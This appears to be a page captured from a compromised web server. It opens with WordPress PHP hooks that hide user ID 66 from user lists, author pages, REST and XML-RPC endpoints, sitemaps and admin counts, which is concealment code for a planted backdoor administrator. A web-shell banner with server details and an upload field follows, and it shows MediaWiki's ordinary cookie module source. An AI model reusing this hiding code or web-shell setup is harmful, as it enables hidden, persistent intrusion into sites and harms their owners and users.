add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/resources/src/mediawiki.cookie/ |
Upload File : |
'use strict';
const config = require( './config.json' ),
jar = require( './jar.js' );
let defaults = {
prefix: config.prefix,
domain: config.domain,
path: config.path,
expires: config.expires,
secure: false,
sameSite: ''
};
// define jQuery Cookie methods
require( './jquery.js' );
/**
* Manage cookies in a way that is syntactically and functionally similar
* to the `WebRequest#getCookie` and `WebResponse#setcookie` methods in PHP.
*
* @author Sam Smith <samsmith@wikimedia.org>
* @author Matthew Flaschen <mflaschen@wikimedia.org>
*
* @module mediawiki.cookie
* @example
* mw.loader.using( 'mediawiki.cookie' ).then( () => {
* mw.cookie.set('hello', 'world' );
* })
*/
mw.cookie = {
/**
* Set or delete a cookie.
*
* **Note:** If explicitly passing `null` or `undefined` for an options key,
* that will override the default. This is natural in JavaScript, but noted
* here because it is contrary to MediaWiki's `WebResponse#setcookie()` method
* in PHP.
*
* When using this for persistent storage of identifiers (e.g. for tracking
* sessions), be aware that persistence may vary slightly across browsers and
* browser versions, and can be affected by a number of factors such as
* storage limits (cookie eviction) and session restore features.
*
* Without an expiry, this creates a session cookie. In a browser, session cookies persist
* for the lifetime of the browser *process*. Including across tabs, page views, and windows,
* until the browser itself is *fully* closed, or until the browser clears all storage for
* a given website. An exception to this is if the user evokes a "restore previous
* session" feature that some browsers have.
*
* @param {string} key
* @param {string|null} value Value of cookie. If `value` is `null` then this method will
* instead remove a cookie by name of `key`.
* @param {module:mediawiki.cookie~CookieOptions|Date|number} [options] Options object, or expiry date
* @memberof module:mediawiki.cookie
*/
set: function ( key, value, options ) {
// The 'options' parameter may be a shortcut for the expiry.
if ( arguments.length > 2 && ( !options || options instanceof Date || typeof options === 'number' ) ) {
options = { expires: options };
}
// Apply defaults
options = Object.assign( {}, defaults, options );
// Don't pass invalid option to jar.cookie
const prefix = options.prefix;
delete options.prefix;
if ( !options.expires ) {
// Session cookie (null or zero)
// Normalize to absent (undefined) for jar.cookie.
delete options.expires;
} else if ( typeof options.expires === 'number' ) {
// Lifetime in seconds
const date = new Date();
date.setTime( Number( date ) + ( options.expires * 1000 ) );
options.expires = date;
}
// Ignore sameSiteLegacy (T344791)
delete options.sameSiteLegacy;
if ( value !== null ) {
value = String( value );
}
jar.cookie( prefix + key, value, options );
},
/**
* Get the value of a cookie.
*
* @param {string} key
* @param {string} [prefix=wgCookiePrefix] The prefix of the key. If `prefix` is
* `undefined` or `null`, then `wgCookiePrefix` is used
* @param {null|string} [defaultValue] defaults to null
* @return {string|null} If the cookie exists, then the value of the
* cookie, otherwise `defaultValue`
* @memberof module:mediawiki.cookie
*/
get: function ( key, prefix, defaultValue ) {
if ( prefix === undefined || prefix === null ) {
prefix = defaults.prefix;
}
// Was defaultValue omitted?
if ( arguments.length < 3 ) {
defaultValue = null;
}
const result = jar.cookie( prefix + key );
return result !== null ? result : defaultValue;
},
/**
* Get the value of a cookie.
*
* @deprecated since 1.43, use {@link module:mediawiki.cookie.get mw.cookie.get}
*
* @param {string} key
* @param {string} [prefix=wgCookiePrefix] The prefix of the key. If `prefix` is
* `undefined` or `null`, then `wgCookiePrefix` is used
* @param {null|string} [defaultValue]
* @return {string|null} If the cookie exists, then the value of the
* cookie, otherwise `defaultValue`
* @memberof module:mediawiki.cookie
*/
getCrossSite: function ( key, prefix, defaultValue ) {
return this.get( key, prefix, defaultValue );
}
};
mw.log.deprecate( mw.cookie, 'getCrossSite', mw.cookie.getCrossSite,
'Use mw.cookie.get instead.', 'mw.cookie.getCrossSite' );
if ( window.QUnit ) {
module.exports = {
jar,
setDefaults: function ( value ) {
const prev = defaults;
defaults = value;
return prev;
}
};
}